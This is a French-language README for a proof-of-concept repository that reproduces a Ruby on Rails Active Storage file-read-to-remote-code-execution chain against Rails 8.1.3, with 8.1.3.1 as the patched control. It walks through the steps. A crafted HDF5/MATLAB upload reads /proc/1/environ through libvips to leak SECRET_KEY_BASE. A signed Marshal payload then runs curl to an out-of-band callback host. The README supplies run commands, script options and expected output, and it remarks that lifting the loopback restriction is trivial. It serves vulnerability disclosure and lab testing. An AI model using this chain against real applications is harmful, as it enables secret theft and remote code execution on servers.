
PoC pour CVE-2026-66066 dans Ruby on Rails
Ce dépôt reproduit la chaîne de lecture-de-fichier-vers-RCE d'Active Storage de Rails décrite par GHSA-xr9x-r78c-5hrm contre Rails 8.1.3, la version affectée la plus récente de la branche Rails 8.1. Rails 8.1.3.1 est le témoin corrigé.
Utilisez-le uniquement dans le laboratoire local jetable décrit ici. Le pilote HTTP refuse les cibles non-loopback (bien qu'il soit trivial de modifier le code Python pour des tests autorisés contre d'autres cibles).
La cible est une application Rails conventionnelle. Son image finale contient :
ruby:3.4.10-slim ;rails _VERSION_ new ;curl, libjemalloc2, libvips,
et sqlite3 ;./bin/thrust ./bin/rails serverUpload normal avec une seule pièce jointe Active Storage, des
actions HTML ordinaires new, create, et show, et une variante d'image PNG.Elle ne contient pas de constructeur d'artefact, d'artefact de téléversement, de pilote d'exploitation,
de constructeur Marshal, de code de rappel, de point de terminaison de diagnostic, de trace de chargeur,
de script de démarrage personnalisé, de fixture de secret cible, ni de route réservée à l'exploitation. Elle ne définit pas
VIPS_TRACE, ne réordonne pas l'environnement du processus, ne remplace pas le sérialiseur Active Storage,
ni ne configure un processeur d'image non par défaut.
Le .dockerignore racine n'envoie que Dockerfile et overlay/ à la construction.
Les scripts Python côté hôte et tous les artefacts générés sont exclus du
contexte de construction Docker, et pas simplement omis de l'étape de copie finale.
L'overlay complet de la cible est constitué de cinq fichiers ordinaires :
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
La page d'affichage utilise la transformation normale minimale :
<%= image_tag @upload.avatar.variant(format: :png) %>
Une nouvelle application Rails non modifiée n'a aucun modèle ni page d'application qui accepte une pièce jointe, donc ces cinq fichiers sont la fonctionnalité applicative minimale nécessaire pour représenter la condition de téléversement d'image non fiable de l'avis de sécurité.
Les prérequis sont Docker, OpenSSL, Python 3, et h5py pour le
constructeur d'artefact.
Dans le terminal 1 :
./run_lab.sh 8.1.3
Le script construit minimal-rails-vips:8.1.3, génère un
SECRET_KEY_BASE éphémère sauf s'il en est déjà fourni un, publie l'application
uniquement sur 127.0.0.1:3000, et exécute l'entrypoint généré de l'image et la
commande par défaut. Aucun répertoire source ni artefact n'est monté dans la cible.
Si le port 3000 est déjà occupé, choisissez un autre port loopback sans modifier l'image :
HOST_PORT=33020 ./run_lab.sh 8.1.3
Utilisez le même port dans le --target du pilote.
Dans le terminal 2 :
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://VOTRE-DOMAINE-OAST.example/callback
rails_vips_oast_poc.py est un constructeur et pilote HTTP à usage unique. Sauf
si --artifact est fourni, il construit le téléversement dans un répertoire temporaire privé,
le conserve pour la séquence complète de requêtes, et le supprime à la
sortie du processus. Il construit les deux étapes plutôt que de dépaqueter une charge utile
statique :
h5py de créer un fichier MATLAB/HDF5 avec un bloc utilisateur de 512 octets.uint8 petit-boutiste de 1 × 1024 nommé environment./proc/1/environ, décalage
zéro, avec une étendue bornée de 1 024 octets.MATLAB_class="uint8" et écrit l'en-tête MATLAB 5.0 utilisé par
le renifleur matload de libvips.Le programme RCE intégré est fixé à /usr/bin/curl avec un
tableau d'arguments structuré. Il effectue un GET vers l'URL OAST configurée et envoie uniquement
le jeton de corrélation aléatoire rails_ghsa_xr9x. Il n'utilise pas de shell et
n'inclut pas de secrets récupérés, de sortie de commande, de contenu de fichier, ni
d'identifiant de cible dans le rappel.
Les paramètres de l'artefact sont :
--external-path : fichier absolu côté cible, par défaut /proc/1/environ ;--bytes : étendue externe bornée de 128 à 4096, par défaut 1024 ;--oast : URL de base du rappel intégrée dans la charge utile ; et--nonce : nonce hexadécimal facultatif de 16 octets pour un artefact reproductible.L'URL OAST par défaut est sûre pour loopback. Fournissez une URL de récepteur accessible depuis le conteneur pour la vérification de bout en bout.
Pour conserver le téléversement généré à des fins d'inspection ou de réutilisation, ajoutez un chemin d'artefact :
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://VOTRE-DOMAINE-OAST.example/callback \
--artifact environment-read.bmp
Un --artifact existant est validé et réutilisé. Dans ce cas, --oast, s'il est
fourni, doit correspondre à son URL de rappel intégrée. Ajoutez --force pour reconstruire et
le remplacer atomiquement avec les paramètres actuels du constructeur.
Pour la création d'artefact sans aucune requête HTTP, le constructeur compagnon est toujours disponible :
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://VOTRE-DOMAINE-OAST.example/callback
--target est par défaut http://127.0.0.1:3000 et est restreint à un
loopback littéral ou localhost.
La sortie vulnérable attendue comprend :
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Faites correspondre oast_nonce dans le terminal avec le
paramètre de requête rails_ghsa_xr9x=<nonce> reçu par le service OAST. Le
HTTP 500 de la requête de représentation finale est attendu : le rappel
se produit pendant la reconstruction du Hash Marshal authentifié, avant que la
transformation globale n'échoue ensuite.
La partie constructeur nécessite h5py ; les parties HTTP et cryptographiques utilisent uniquement
la bibliothèque standard de Python :
image/bmp, puis téléverse les octets
construits.matload non fuzzée. Le PNG
renvoyé expose les octets du jeu de données externe, y compris le
SECRET_KEY_BASE d'exécution.ActiveStorage ordinaire, lit la
charge utile Marshal déjà construite depuis l'artefact, la signe pour la
finalité variation, et demande l'URL de représentation résultante./usr/bin/curl intégrée et produit
le rappel OOB aveugle.La cible ne contribue aucun point de terminaison d'assistance ni gadget de signature. Les classes Ruby
utilisées par le graphe sérialisé proviennent de dépendances déjà résolues par un
Gemfile rails new stock ; l'application ne les requiert ni ne les configure.
Le traitement d'image reste sur le processeur :vips par défaut de Rails tout au long.
Arrêtez le terminal 1 avec Ctrl-C, puis exécutez :
./run_lab.sh 8.1.3.1
Relancez la même commande de pilote combiné. Si un artefact a été conservé, il peut
être réutilisé en passant le même chemin --artifact. Le résultat corrigé devrait
s'arrêter à :
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
Aucun pixel d'environnement n'est renvoyé, la charge utile intégrée n'est jamais signée ni
soumise, et aucun rappel OAST ne se produit. Active Storage 8.1.3.1 active
le bloc d'opérations non fiables de libvips, donc matload est rejeté.
La configuration d'exécution finale devrait être celle générée :
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Attendu :
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Inspectez le seul script et confirmez que les fichiers du PoC sont absents :
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
La seule entrée de script est le /rails/script/.keep créé par le générateur.
Les outils de construction et les CLI d'image optionnels restent également hors de l'exécution :
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips est présent comme bibliothèque d'exécution partagée même si ses outils CLI ne sont
pas installés. Le graphe de dépendances stock de Debian fournit le support de format MAT/HDF5 lié.
Dockerfile génère et empaquette la cible stock minimale..dockerignore empêche les fichiers côté attaquant d'entrer dans le contexte
de construction.overlay/ contient uniquement les cinq fichiers d'application Rails normaux.run_lab.sh construit et lance la cible sans exécuter le PoC.rails_vips_oast_poc.py construit l'image de lecture de fichier HDF5 et la charge utile
OOB configurable, pilote le flux HTTP normal, récupère le secret du vérificateur,
signe la charge utile intégrée, et la déclenche.